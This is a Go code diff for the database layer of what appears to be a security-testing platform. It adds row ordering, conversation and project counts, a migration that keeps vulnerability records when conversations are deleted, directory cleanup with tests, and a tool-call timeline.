 		SELECT id, source_node_id, target_node_id, edge_type, weight
 		FROM attack_chain_edges
 		WHERE conversation_id = ?
-		ORDER BY created_at ASC
+		ORDER BY created_at ASC, rowid ASC
 	`
 
 	rows, err := db.Query(query, conversationID)

internal/database/batch_task.go

@@ -239,7 +239,7 @@ func (db *DB) CountBatchQueues(status, keyword string) (int, error) {
 // GetBatchTasks 获取批量任务队列的所有任务
 func (db *DB) GetBatchTasks(queueID string) ([]*BatchTaskRow, error) {
 	rows, err := db.Query(
-		"SELECT id, queue_id, message, conversation_id, status, started_at, completed_at, error, result FROM batch_tasks WHERE queue_id = ? ORDER BY id",
+		"SELECT id, queue_id, message, conversation_id, status, started_at, completed_at, error, result FROM batch_tasks WHERE queue_id = ? ORDER BY rowid ASC",
 		queueID,
 	)
 	if err != nil {

internal/database/c2.go

@@ -840,7 +840,7 @@ func (db *DB) PopQueuedC2Tasks(sessionID string, limit int) ([]*C2Task, error) {
 			created_at
 		FROM c2_tasks
 		WHERE session_id = ? AND (status = 'queued' AND (approval_status = '' OR approval_status = 'approved'))
-		ORDER BY created_at ASC
+		ORDER BY created_at ASC, rowid ASC
 		LIMIT ?
 	`
 	rows, err := tx.Query(query, sessionID, limit)

internal/database/conversation.go

@@ -361,6 +361,27 @@ func (db *DB) GetConversationLite(id string) (*Conversation, error) {
 	return &conv, nil
 }
 
+// CountConversations 统计对话数量。
+func (db *DB) CountConversations(search string) (int, error) {
+	var count int
+	var err error
+	if search != "" {
+		searchPattern := "%" + search + "%"
+		err = db.QueryRow(
+			`SELECT COUNT(*) FROM conversations c
+			 WHERE c.title LIKE ?
+			    OR EXISTS (SELECT 1 FROM messages m WHERE m.conversation_id = c.id AND m.content LIKE ?)`,
+			searchPattern, searchPattern,
+		).Scan(&count)
+	} else {
+		err = db.QueryRow(`SELECT COUNT(*) FROM conversations`).Scan(&count)
+	}
+	if err != nil {
+		return 0, fmt.Errorf("统计对话失败: %w", err)
+	}
+	return count, nil
+}
+
 // ListConversations 列出所有对话
 func (db *DB) ListConversations(limit, offset int, search string) ([]*Conversation, error) {
 	var rows *sql.Rows
@@ -430,6 +451,73 @@ func (db *DB) ListConversations(limit, offset int, search string) ([]*Conversati
 	return conversations, nil
 }
 
+const ungroupedConversationsSQL = `
+	FROM conversations c
+	WHERE NOT EXISTS (
+		SELECT 1 FROM conversation_group_mappings cgm WHERE cgm.conversation_id = c.id
+	)`
+
+// CountUngroupedConversations 统计不在任何分组中的对话数量。
+func (db *DB) CountUngroupedConversations() (int, error) {
+	var count int
+	if err := db.QueryRow(`SELECT COUNT(*) ` + ungroupedConversationsSQL).Scan(&count); err != nil {
+		return 0, fmt.Errorf("统计未分组对话失败: %w", err)
+	}
+	return count, nil
+}
+
+// ListUngroupedConversations 列出不在任何分组中的对话（最近对话侧栏）。
+func (db *DB) ListUngroupedConversations(limit, offset int) ([]*Conversation, error) {
+	rows, err := db.Query(
+		`SELECT c.id, c.title, COALESCE(c.pinned, 0), c.created_at, c.updated_at, c.project_id `+
+			ungroupedConversationsSQL+`
+		 ORDER BY c.updated_at DESC
+		 LIMIT ? OFFSET ?`,
+		limit, offset,
+	)
+	if err != nil {
+		return nil, fmt.Errorf("查询未分组对话失败: %w", err)
+	}
+	defer rows.Close()
+
+	var conversations []*Conversation
+	for rows.Next() {
+		var conv Conversation
+		var createdAt, updatedAt string
+		var pinned int
+		var projectID sql.NullString
+
+		if err := rows.Scan(&conv.ID, &conv.Title, &pinned, &createdAt, &updatedAt, &projectID); err != nil {
+			return nil, fmt.Errorf("扫描对话失败: %w", err)
+		}
+		if projectID.Valid {
+			conv.ProjectID = strings.TrimSpace(projectID.String)
+		}
+
+		var err1, err2 error
+		conv.CreatedAt, err1 = time.Parse("2006-01-02 15:04:05.999999999-07:00", createdAt)
+		if err1 != nil {
+			conv.CreatedAt, err1 = time.Parse("2006-01-02 15:04:05", createdAt)
+		}
+		if err1 != nil {
+			conv.CreatedAt, _ = time.Parse(time.RFC3339, createdAt)
+		}
+
+		conv.UpdatedAt, err2 = time.Parse("2006-01-02 15:04:05.999999999-07:00", updatedAt)
+		if err2 != nil {
+			conv.UpdatedAt, err2 = time.Parse("2006-01-02 15:04:05", updatedAt)
+		}
+		if err2 != nil {
+			conv.UpdatedAt, _ = time.Parse(time.RFC3339, updatedAt)
+		}
+
+		conv.Pinned = pinned != 0
+		conversations = append(conversations, &conv)
+	}
+
+	return conversations, rows.Err()
+}
+
 // UpdateConversationTitle 更新对话标题
 func (db *DB) UpdateConversationTitle(id, title string) error {
 	// 注意：不更新 updated_at，因为重命名操作不应该改变对话的更新时间
@@ -455,18 +543,28 @@ func (db *DB) UpdateConversationTime(id string) error {
 	return nil
 }
 
-// DeleteConversation 删除对话及其所有相关数据
+// DeleteConversation 删除对话及其会话相关数据。
 // 由于数据库外键约束设置了 ON DELETE CASCADE，删除对话时会自动删除：
 // - messages（消息）
 // - process_details（过程详情）
 // - attack_chain_nodes（攻击链节点）
 // - attack_chain_edges（攻击链边）
-// - vulnerabilities（漏洞）
 // - conversation_group_mappings（分组映射）
-// 注意：knowledge_retrieval_logs 使用 ON DELETE SET NULL，记录会保留但 conversation_id 会被设为 NULL
+// 漏洞记录会保留：vulnerabilities.conversation_id 使用 ON DELETE SET NULL，仅解除与会话的关联。
+// 注意：knowledge_retrieval_logs 在删除前会被显式清理。
 func (db *DB) DeleteConversation(id string) error {
+	// 删除对话前补全漏洞来源标签，便于在漏洞库中追溯已删除会话的发现。
+	_, err := db.Exec(`
+		UPDATE vulnerabilities
+		SET conversation_tag = COALESCE(NULLIF(TRIM(conversation_tag), ''), (SELECT title FROM conversations WHERE id = ?))
+		WHERE conversation_id = ?
+	`, id, id)
+	if err != nil {
+		db.logger.Warn("更新漏洞来源标签失败", zap.String("conversationId", id), zap.Error(err))
+	}
+
 	// 显式删除知识检索日志（虽然外键是SET NULL，但为了彻底清理，我们手动删除）
-	_, err := db.Exec("DELETE FROM knowledge_retrieval_logs WHERE conversation_id = ?", id)
+	_, err = db.Exec("DELETE FROM knowledge_retrieval_logs WHERE conversation_id = ?", id)
 	if err != nil {
 		db.logger.Warn("删除知识检索日志失败", zap.String("conversationId", id), zap.Error(err))
 		// 不返回错误，继续删除对话
@@ -477,17 +575,51 @@ func (db *DB) DeleteConversation(id string) error {
 	if err != nil {
 		return fmt.Errorf("删除对话失败: %w", err)
 	}
-	// Best-effort cleanup for conversation-scoped filesystem artifacts
-	// (e.g., summarization transcript, reduction/checkpoint files under conversation_artifacts/<id>).
-	if base := strings.TrimSpace(db.conversationArtifactsDir); base != "" {
-		artDir := filepath.Join(base, id)
-		if rmErr := os.RemoveAll(artDir); rmErr != nil {
-			db.logger.Warn("删除会话 artifacts 目录失败", zap.String("conversationId", id), zap.String("dir", artDir), zap.Error(rmErr))
+	db.removeConversationScopedDirs(id)
+
+	db.logger.Info("对话已删除（漏洞记录已保留）", zap.String("conversationId", id))
+	return nil
+}
+
+func sanitizeConversationPathSegment(s string) string {
+	s = strings.TrimSpace(s)
+	if s == "" {
+		return "default"
+	}
+	s = strings.ReplaceAll(s, string(filepath.Separator), "-")
+	s = strings.ReplaceAll(s, "/", "-")
+	s = strings.ReplaceAll(s, "\\", "-")
+	s = strings.ReplaceAll(s, "..", "__")
+	if len(s) > 180 {
+		s = s[:180]
+	}
+	return s
+}
+
+func (db *DB) removeConversationScopedDir(base, conversationID, label string) {
+	base = strings.TrimSpace(base)
+	if base == "" {
+		return
+	}
+	dir := filepath.Join(base, sanitizeConversationPathSegment(conversationID))
+	if rmErr := os.RemoveAll(dir); rmErr != nil {
+		if db.logger != nil {
+			db.logger.Warn("删除会话目录失败",
+				zap.String("conversationId", conversationID),
+				zap.String("kind", label),
+				zap.String("dir", dir),
+				zap.Error(rmErr))
 		}
 	}
+}
 
-	db.logger.Info("对话及其所有相关数据已删除", zap.String("conversationId", id))
-	return nil
+func (db *DB) removeConversationScopedDirs(conversationID string) {
+	// summarization transcript, reduction files, etc.
+	db.removeConversationScopedDir(db.conversationArtifactsDir, conversationID, "conversation_artifacts")
+	// Eino plantask JSON boards (skills_dir/.eino/plantask/<id>/).
+	db.removeConversationScopedDir(db.einoPlantaskBaseDir, conversationID, "plantask")
+	// Eino ADK runner checkpoints (checkpoint_dir/<id>/).
+	db.removeConversationScopedDir(db.einoCheckpointBaseDir, conversationID, "eino_checkpoint")
 }
 
 // SaveAgentTrace 保存最后一轮代理消息轨迹与助手输出摘要。
@@ -604,7 +736,7 @@ func (db *DB) UpdateAssistantMessageFinalize(messageID, content string, mcpExecu
 // GetMessages 获取对话的所有消息
 func (db *DB) GetMessages(conversationID string) ([]Message, error) {
 	rows, err := db.Query(
-		"SELECT id, conversation_id, role, content, reasoning_content, mcp_execution_ids, created_at, updated_at FROM messages WHERE conversation_id = ? ORDER BY created_at ASC",
+		"SELECT id, conversation_id, role, content, reasoning_content, mcp_execution_ids, created_at, updated_at FROM messages WHERE conversation_id = ? ORDER BY created_at ASC, rowid ASC",
 		conversationID,
 	)
 	if err != nil {
@@ -799,7 +931,7 @@ func (db *DB) AddProcessDetail(messageID, conversationID, eventType, message str
 // GetProcessDetails 获取消息的过程详情
 func (db *DB) GetProcessDetails(messageID string) ([]ProcessDetail, error) {
 	rows, err := db.Query(
-		"SELECT id, message_id, conversation_id, event_type, message, data, created_at FROM process_details WHERE message_id = ? ORDER BY created_at ASC",
+		"SELECT id, message_id, conversation_id, event_type, message, data, created_at FROM process_details WHERE message_id = ? ORDER BY created_at ASC, rowid ASC",
 		messageID,
 	)
 	if err != nil {
@@ -835,7 +967,7 @@ func (db *DB) GetProcessDetails(messageID string) ([]ProcessDetail, error) {
 // GetProcessDetailsByConversation 获取对话的所有过程详情（按消息分组）
 func (db *DB) GetProcessDetailsByConversation(conversationID string) (map[string][]ProcessDetail, error) {
 	rows, err := db.Query(
-		"SELECT id, message_id, conversation_id, event_type, message, data, created_at FROM process_details WHERE conversation_id = ? ORDER BY created_at ASC",
+		"SELECT id, message_id, conversation_id, event_type, message, data, created_at FROM process_details WHERE conversation_id = ? ORDER BY created_at ASC, rowid ASC",
 		conversationID,
 	)
 	if err != nil {

internal/database/conversation_cleanup_test.go

@@ -0,0 +1,57 @@
+package database
+
+import (
+	"os"
+	"path/filepath"
+	"testing"
+
+	"go.uber.org/zap"
+)
+
+func TestDeleteConversationRemovesEinoScopedDirs(t *testing.T) {
+	tmp := t.TempDir()
+	dbPath := filepath.Join(tmp, "conversations.db")
+	db, err := NewDB(dbPath, zap.NewNop())
+	if err != nil {
+		t.Fatalf("NewDB: %v", err)
+	}
+	defer db.Close()
+
+	plantaskBase := filepath.Join(tmp, "skills", ".eino", "plantask")
+	checkpointBase := filepath.Join(tmp, "eino-checkpoints")
+	db.SetEinoConversationDirs(plantaskBase, checkpointBase)
+
+	conv, err := db.CreateConversation("cleanup test", ConversationCreateMeta{})
+	if err != nil {
+		t.Fatalf("CreateConversation: %v", err)
+	}
+	convID := conv.ID
+	seg := sanitizeConversationPathSegment(convID)
+	for _, base := range []struct {
+		root string
+		file string
+	}{
+		{db.conversationArtifactsDir, "transcript.txt"},
+		{plantaskBase, "task-1.json"},
+		{checkpointBase, "runner-deep.ckpt"},
+	} {
+		dir := filepath.Join(base.root, seg)
+		if err := os.MkdirAll(dir, 0o755); err != nil {
+			t.Fatalf("mkdir %s: %v", dir, err)
+		}
+		if err := os.WriteFile(filepath.Join(dir, base.file), []byte("x"), 0o644); err != nil {
+			t.Fatalf("write %s: %v", base.file, err)
+		}
+	}
+
+	if err := db.DeleteConversation(convID); err != nil {
+		t.Fatalf("DeleteConversation: %v", err)
+	}
+
+	for _, base := range []string{db.conversationArtifactsDir, plantaskBase, checkpointBase} {
+		dir := filepath.Join(base, seg)
+		if _, statErr := os.Stat(dir); !os.IsNotExist(statErr) {
+			t.Fatalf("expected removed dir %s, stat err=%v", dir, statErr)
+		}
+	}
+}

internal/database/conversation_vulnerability_test.go

@@ -0,0 +1,69 @@
+package database
+
+import (
+	"path/filepath"
+	"testing"
+
+	"go.uber.org/zap"
+)
+
+func TestDeleteConversationPreservesVulnerabilities(t *testing.T) {
+	tmp := t.TempDir()
+	dbPath := filepath.Join(tmp, "vuln-preserve.db")
+	db, err := NewDB(dbPath, zap.NewNop())
+	if err != nil {
+		t.Fatalf("NewDB: %v", err)
+	}
+	defer db.Close()
+
+	conv, err := db.CreateConversation("vuln source chat", ConversationCreateMeta{})
+	if err != nil {
+		t.Fatalf("CreateConversation: %v", err)
+	}
+
+	vuln, err := db.CreateVulnerability(&Vulnerability{
+		ConversationID: conv.ID,
+		Title:          "SQL Injection",
+		Severity:       "high",
+		Status:         "open",
+	})
+	if err != nil {
+		t.Fatalf("CreateVulnerability: %v", err)
+	}
+
+	if err := db.DeleteConversation(conv.ID); err != nil {
+		t.Fatalf("DeleteConversation: %v", err)
+	}
+
+	got, err := db.GetVulnerability(vuln.ID)
+	if err != nil {
+		t.Fatalf("GetVulnerability after delete: %v", err)
+	}
+	if got.Title != "SQL Injection" {
+		t.Fatalf("title = %q, want SQL Injection", got.Title)
+	}
+	if got.ConversationID != "" {
+		t.Fatalf("conversation_id = %q, want empty after conversation delete", got.ConversationID)
+	}
+	if got.ConversationTag != "vuln source chat" {
+		t.Fatalf("conversation_tag = %q, want vuln source chat", got.ConversationTag)
+	}
+}
+
+func TestMigrateVulnerabilitiesConversationFK(t *testing.T) {
+	tmp := t.TempDir()
+	dbPath := filepath.Join(tmp, "vuln-fk-migrate.db")
+	db, err := NewDB(dbPath, zap.NewNop())
+	if err != nil {
+		t.Fatalf("NewDB: %v", err)
+	}
+	defer db.Close()
+
+	ok, err := vulnerabilitiesConversationFKOnDeleteSetNull(db.DB)
+	if err != nil {
+		t.Fatalf("vulnerabilitiesConversationFKOnDeleteSetNull: %v", err)
+	}
+	if !ok {
+		t.Fatal("expected vulnerabilities.conversation_id FK to use ON DELETE SET NULL")
+	}
+}

internal/database/database.go

@@ -49,6 +49,8 @@ type DB struct {
 	*sql.DB
 	logger                   *zap.Logger
 	conversationArtifactsDir string
+	einoPlantaskBaseDir      string // skills_dir + plantask_rel_dir (per-conversation subdirs)
+	einoCheckpointBaseDir    string // checkpoint_dir root (per-conversation subdirs)
 	checkpointLoopName       string
 	checkpointStop           chan struct{}
 	checkpointDone           chan struct{}
@@ -155,6 +157,16 @@ func NewDB(dbPath string, logger *zap.Logger) (*DB, error) {
 	return database, nil
 }
 
+// SetEinoConversationDirs configures best-effort filesystem cleanup on DeleteConversation.
+// plantaskBase is skills_root/plantask_rel (no conversation id); checkpointBase is checkpoint_dir root.
+func (db *DB) SetEinoConversationDirs(plantaskBase, checkpointBase string) {
+	if db == nil {
+		return
+	}
+	db.einoPlantaskBaseDir = strings.TrimSpace(plantaskBase)
+	db.einoCheckpointBaseDir = strings.TrimSpace(checkpointBase)
+}
+
 // initTables 初始化数据库表
 func (db *DB) initTables() error {
 	// 创建对话表（last_react_input / last_react_output 存「代理消息轨迹」JSON 与助手摘要，列名保留以兼容已有库）
@@ -334,7 +346,6 @@ func (db *DB) initTables() error {
 		source_conversation_id TEXT,
 		source_message_id TEXT,
 		pinned INTEGER NOT NULL DEFAULT 0,
-		supersedes_fact_id TEXT,
 		related_vulnerability_id TEXT,
 		created_at DATETIME NOT NULL,
 		updated_at DATETIME NOT NULL,
@@ -342,30 +353,11 @@ func (db *DB) initTables() error {
 		UNIQUE(project_id, fact_key)
 	);`
 
-	createProjectFactVersionsTable := `
-	CREATE TABLE IF NOT EXISTS project_fact_versions (
-		id TEXT PRIMARY KEY,
-		fact_id TEXT NOT NULL,
-		project_id TEXT NOT NULL,
-		fact_key TEXT NOT NULL,
-		category TEXT NOT NULL DEFAULT 'note',
-		summary TEXT NOT NULL DEFAULT '',
-		body TEXT,
-		confidence TEXT NOT NULL DEFAULT 'tentative',
-		source_conversation_id TEXT,
-		source_message_id TEXT,
-		pinned INTEGER NOT NULL DEFAULT 0,
-		related_vulnerability_id TEXT,
-		archived_at DATETIME NOT NULL,
-		FOREIGN KEY (fact_id) REFERENCES project_facts(id) ON DELETE CASCADE,
-		FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE
-	);`
-
 	// 创建漏洞表
 	createVulnerabilitiesTable := `
 	CREATE TABLE IF NOT EXISTS vulnerabilities (
 		id TEXT PRIMARY KEY,
-		conversation_id TEXT NOT NULL,
+		conversation_id TEXT,
 		conversation_tag TEXT,
 		task_tag TEXT,
 		title TEXT NOT NULL,
@@ -379,7 +371,8 @@ func (db *DB) initTables() error {
 		recommendation TEXT,
 		created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
 		updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
-		FOREIGN KEY (conversation_id) REFERENCES conversations(id) ON DELETE CASCADE
+		project_id TEXT,
+		FOREIGN KEY (conversation_id) REFERENCES conversations(id) ON DELETE SET NULL
 	);`
 
 	// 创建批量任务队列表
@@ -598,7 +591,6 @@ func (db *DB) initTables() error {
 	CREATE INDEX IF NOT EXISTS idx_project_facts_project_id ON project_facts(project_id);
 	CREATE INDEX IF NOT EXISTS idx_project_facts_confidence ON project_facts(confidence);
 	CREATE INDEX IF NOT EXISTS idx_project_facts_related_vuln ON project_facts(related_vulnerability_id);
-	CREATE INDEX IF NOT EXISTS idx_project_fact_versions_fact_id ON project_fact_versions(fact_id);
 	CREATE INDEX IF NOT EXISTS idx_conversations_project_id ON conversations(project_id);
 	CREATE INDEX IF NOT EXISTS idx_vulnerabilities_project_id ON vulnerabilities(project_id);
 	CREATE INDEX IF NOT EXISTS idx_batch_tasks_queue_id ON batch_tasks(queue_id);
@@ -680,10 +672,6 @@ func (db *DB) initTables() error {
 		return fmt.Errorf("创建project_facts表失败: %w", err)
 	}
 
-	if _, err := db.Exec(createProjectFactVersionsTable); err != nil {
-		return fmt.Errorf("创建project_fact_versions表失败: %w", err)
-	}
-
 	if _, err := db.Exec(createVulnerabilitiesTable); err != nil {
 		return fmt.Errorf("创建vulnerabilities表失败: %w", err)
 	}
@@ -750,12 +738,15 @@ func (db *DB) initTables() error {
 		db.logger.Warn("迁移vulnerabilities表失败", zap.Error(err))
 		// 不返回错误，允许继续运行
 	}
+	if err := db.migrateVulnerabilitiesConversationFK(); err != nil {
+		db.logger.Warn("迁移vulnerabilities会话外键失败", zap.Error(err))
+	}
 
 	if err := db.migrateProjectsTable(); err != nil {
 		db.logger.Warn("迁移projects相关表失败", zap.Error(err))
 	}
-	if err := db.migrateProjectFactVersionsTable(); err != nil {
-		db.logger.Warn("迁移project_fact_versions表失败", zap.Error(err))
+	if err := db.dropProjectFactVersionsTable(); err != nil {
+		db.logger.Warn("清理project_fact_versions表失败", zap.Error(err))
 	}
 
 	if err := db.migrateWebshellConnectionsTable(); err != nil {
@@ -1153,34 +1144,122 @@ func (db *DB) migrateProjectsTable() error {
 	return nil
 }
 
-// migrateProjectFactVersionsTable 为已有库创建事实版本表。
-func (db *DB) migrateProjectFactVersionsTable() error {
-	ddl := `
-	CREATE TABLE IF NOT EXISTS project_fact_versions (
-		id TEXT PRIMARY KEY,
-		fact_id TEXT NOT NULL,
-		project_id TEXT NOT NULL,
-		fact_key TEXT NOT NULL,
-		category TEXT NOT NULL DEFAULT 'note',
-		summary TEXT NOT NULL DEFAULT '',
-		body TEXT,
-		confidence TEXT NOT NULL DEFAULT 'tentative',
-		source_conversation_id TEXT,
-		source_message_id TEXT,
-		pinned INTEGER NOT NULL DEFAULT 0,
-		related_vulnerability_id TEXT,
-		archived_at DATETIME NOT NULL,
-		FOREIGN KEY (fact_id) REFERENCES project_facts(id) ON DELETE CASCADE,
-		FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE
-	);`
-	if _, err := db.Exec(ddl); err != nil {
+// dropProjectFactVersionsTable 移除已废弃的事实版本归档表。
+func (db *DB) dropProjectFactVersionsTable() error {
+	_, err := db.Exec(`DROP TABLE IF EXISTS project_fact_versions`)
+	return err
+}
+
+// migrateVulnerabilitiesConversationFK 将 vulnerabilities.conversation_id 外键改为 ON DELETE SET NULL，删除对话时保留漏洞记录。
+func (db *DB) migrateVulnerabilitiesConversationFK() error {
+	ok, err := vulnerabilitiesConversationFKOnDeleteSetNull(db.DB)
+	if err != nil {
 		return err
 	}
-	_, _ = db.Exec(`CREATE INDEX IF NOT EXISTS idx_project_fact_versions_fact_id ON project_fact_versions(fact_id)`)
-	_, _ = db.Exec(`CREATE INDEX IF NOT EXISTS idx_project_facts_related_vuln ON project_facts(related_vulnerability_id)`)
+	if ok {
+		return nil
+	}
+
+	tx, err := db.Begin()
+	if err != nil {
+		return fmt.Errorf("开启事务失败: %w", err)
+	}
+	defer func() { _ = tx.Rollback() }()
+
+	const createNew = `
+	CREATE TABLE vulnerabilities_new (
+		id TEXT PRIMARY KEY,
+		conversation_id TEXT,
+		conversation_tag TEXT,
+		task_tag TEXT,
+		title TEXT NOT NULL,
+		description TEXT,
+		severity TEXT NOT NULL,
+		status TEXT NOT NULL DEFAULT 'open',
+		vulnerability_type TEXT,
+		target TEXT,
+		proof TEXT,
+		impact TEXT,
+		recommendation TEXT,
+		created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
+		updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
+		project_id TEXT,
+		FOREIGN KEY (conversation_id) REFERENCES conversations(id) ON DELETE SET NULL
+	);`
+	if _, err := tx.Exec(createNew); err != nil {
+		return fmt.Errorf("创建 vulnerabilities_new 失败: %w", err)
+	}
+
+	const copyRows = `
+	INSERT INTO vulnerabilities_new (
+		id, conversation_id, conversation_tag, task_tag, title, description,
+		severity, status, vulnerability_type, target, proof, impact, recommendation,
+		created_at, updated_at, project_id
+	)
+	SELECT
+		id, conversation_id, conversation_tag, task_tag, title, description,
+		severity, status, vulnerability_type, target, proof, impact, recommendation,
+		created_at, updated_at, project_id
+	FROM vulnerabilities;`
+	if _, err := tx.Exec(copyRows); err != nil {
+		return fmt.Errorf("复制 vulnerabilities 数据失败: %w", err)
+	}
+	if _, err := tx.Exec(`DROP TABLE vulnerabilities`); err != nil {
+		return fmt.Errorf("删除旧 vulnerabilities 表失败: %w", err)
+	}
+	if _, err := tx.Exec(`ALTER TABLE vulnerabilities_new RENAME TO vulnerabilities`); err != nil {
+		return fmt.Errorf("重命名 vulnerabilities 表失败: %w", err)
+	}
+
+	indexes := []string{
+		`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_conversation_id ON vulnerabilities(conversation_id)`,
+		`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_conversation_tag ON vulnerabilities(conversation_tag)`,
+		`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_task_tag ON vulnerabilities(task_tag)`,
+		`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_severity ON vulnerabilities(severity)`,
+		`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_status ON vulnerabilities(status)`,
+		`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_created_at ON vulnerabilities(created_at)`,
+		`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_project_id ON vulnerabilities(project_id)`,
+	}
+	for _, stmt := range indexes {
+		if _, err := tx.Exec(stmt); err != nil {
+			return fmt.Errorf("重建 vulnerabilities 索引失败: %w", err)
+		}
+	}
+
+	if err := tx.Commit(); err != nil {
+		return fmt.Errorf("提交 vulnerabilities 外键迁移失败: %w", err)
+	}
+	db.logger.Info("vulnerabilities 表已迁移：删除对话时保留漏洞记录")
 	return nil
 }
 
+func vulnerabilitiesConversationFKOnDeleteSetNull(db *sql.DB) (bool, error) {
+	rows, err := db.Query(`PRAGMA foreign_key_list(vulnerabilities)`)
+	if err != nil {
+		return false, err
+	}
+	defer rows.Close()
+
+	found := false
+	for rows.Next() {
+		var id, seq int
+		var table, from, to, onUpdate, onDelete, match string
+		if err := rows.Scan(&id, &seq, &table, &from, &to, &onUpdate, &onDelete, &match); err != nil {
+			return false, err
+		}
+		if from == "conversation_id" {
+			found = true
+			if !strings.EqualFold(onDelete, "SET NULL") {
+				return false, nil
+			}
+		}
+	}
+	if err := rows.Err(); err != nil {
+		return false, err
+	}
+	return found, nil
+}
+
 // migrateVulnerabilitiesTable 迁移 vulnerabilities 表，补充标签字段
 func (db *DB) migrateVulnerabilitiesTable() error {
 	columns := []struct {

internal/database/monitor.go

@@ -3,6 +3,7 @@ package database
 import (
 	"database/sql"
 	"encoding/json"
+	"sort"
 	"strings"
 	"time"
 
@@ -493,6 +494,68 @@ func (db *DB) UpdateToolStats(toolName string, totalCalls, successCalls, failedC
 	return nil
 }
 
+// CallsTimelineBucket 调用趋势时间桶
+type CallsTimelineBucket struct {
+	BucketTime time.Time
+	Total      int
+	Failed     int
+}
+
+// truncateCallsTimelineBucket 将时间截断到趋势图桶边界（本地时区，与 handler 侧 truncateToBucket 一致）
+func truncateCallsTimelineBucket(t time.Time, dailyBuckets bool) time.Time {
+	t = t.In(time.Local)
+	if dailyBuckets {
+		y, m, d := t.Date()
+		return time.Date(y, m, d, 0, 0, 0, 0, time.Local)
+	}
+	return t.Truncate(time.Hour)
+}
+
+// LoadCallsTimeline 按时间范围加载调用趋势（since 起至今，含边界）
+func (db *DB) LoadCallsTimeline(since time.Time, dailyBuckets bool) ([]CallsTimelineBucket, error) {
+	// 在 Go 侧按本地时区分桶，避免 SQLite strftime 对 UTC 存储时间分桶后再误当本地时间解析（差 8h 等问题）
+	query := `
+		SELECT start_time,
+			CASE WHEN status IN ('failed', 'cancelled') THEN 1 ELSE 0 END AS failed
+		FROM tool_executions
+		WHERE start_time >= ?
+	`
+
+	rows, err := db.Query(query, since)
+	if err != nil {
+		return nil, err
+	}
+	defer rows.Close()
+
+	bucketMap := make(map[time.Time]struct{ total, failed int })
+	for rows.Next() {
+		var startTime time.Time
+		var failed int
+		if err := rows.Scan(&startTime, &failed); err != nil {
+			db.logger.Warn("加载调用趋势失败", zap.Error(err))
+			continue
+		}
+		key := truncateCallsTimelineBucket(startTime, dailyBuckets)
+		entry := bucketMap[key]
+		entry.total++
+		entry.failed += failed
+		bucketMap[key] = entry
+	}
+
+	buckets := make([]CallsTimelineBucket, 0, len(bucketMap))
+	for bucketTime, counts := range bucketMap {
+		buckets = append(buckets, CallsTimelineBucket{
+			BucketTime: bucketTime,
+			Total:      counts.total,
+			Failed:     counts.failed,
+		})
+	}
+	sort.Slice(buckets, func(i, j int) bool {
+		return buckets[i].BucketTime.Before(buckets[j].BucketTime)
+	})
+	return buckets, nil
+}
+
 // DecreaseToolStats 减少工具统计信息（用于删除执行记录时）
 // 如果统计信息变为0，则删除该统计记录
 func (db *DB) DecreaseToolStats(toolName string, totalCalls, successCalls, failedCalls int) error {

internal/database/project.go

@@ -51,7 +51,6 @@ type ProjectFact struct {
 	SourceConversationID   string    `json:"source_conversation_id,omitempty"`
 	SourceMessageID        string    `json:"source_message_id,omitempty"`
 	Pinned                 bool      `json:"pinned"`
-	SupersedesFactID       string    `json:"supersedes_fact_id,omitempty"`
 	RelatedVulnerabilityID string    `json:"related_vulnerability_id,omitempty"`
 	CreatedAt              time.Time `json:"created_at"`
 	UpdatedAt              time.Time `json:"updated_at"`
@@ -112,10 +111,30 @@ func (db *DB) GetProject(id string) (*Project, error) {
 	return &p, nil
 }
 
+// CountProjects 统计项目数量。
+func (db *DB) CountProjects(status, search string) (int, error) {
+	query := `SELECT COUNT(*) FROM projects WHERE 1=1`
+	args := []interface{}{}
+	if s := strings.TrimSpace(status); s != "" {
+		query += " AND status = ?"
+		args = append(args, s)
+	}
+	if q := strings.TrimSpace(search); q != "" {
+		pattern := "%" + q + "%"
+		query += " AND (name LIKE ? OR COALESCE(description,'') LIKE ?)"
+		args = append(args, pattern, pattern)
+	}
+	var count int
+	if err := db.QueryRow(query, args...).Scan(&count); err != nil {
+		return 0, fmt.Errorf("统计项目失败: %w", err)
+	}
+	return count, nil
+}
+
 // ListProjects 列出项目。
-func (db *DB) ListProjects(status string, limit, offset int) ([]*Project, error) {
+func (db *DB) ListProjects(status, search string, limit, offset int) ([]*Project, error) {
 	if limit <= 0 {
-		limit = 200
+		limit = 50
 	}
 	query := `SELECT id, name, COALESCE(description,''), COALESCE(scope_json,''), status, pinned, created_at, updated_at
 		FROM projects WHERE 1=1`
@@ -124,6 +143,11 @@ func (db *DB) ListProjects(status string, limit, offset int) ([]*Project, error)
 		query += " AND status = ?"
 		args = append(args, s)
 	}
+	if q := strings.TrimSpace(search); q != "" {
+		pattern := "%" + q + "%"
+		query += " AND (name LIKE ? OR COALESCE(description,'') LIKE ?)"
+		args = append(args, pattern, pattern)
+	}
 	query += " ORDER BY pinned DESC, updated_at DESC LIMIT ? OFFSET ?"
 	args = append(args, limit, offset)
 
@@ -215,7 +239,7 @@ func (db *DB) SetConversationProjectID(conversationID, projectID string) error {
 func (db *DB) ListProjectFactsForIndex(projectID string, includeDeprecated bool) ([]*ProjectFact, error) {
 	query := `SELECT id, project_id, fact_key, category, summary, COALESCE(body,''), confidence,
 		COALESCE(source_conversation_id,''), COALESCE(source_message_id,''), pinned,
-		COALESCE(supersedes_fact_id,''), COALESCE(related_vulnerability_id,''), created_at, updated_at
+		COALESCE(related_vulnerability_id,''), created_at, updated_at
 		FROM project_facts WHERE project_id = ?`
 	args := []interface{}{projectID}
 	if !includeDeprecated {
@@ -237,7 +261,7 @@ func (db *DB) ListProjectFacts(projectID string, filter ProjectFactListFilter, l
 	}
 	query := `SELECT id, project_id, fact_key, category, summary, COALESCE(body,''), confidence,
 		COALESCE(source_conversation_id,''), COALESCE(source_message_id,''), pinned,
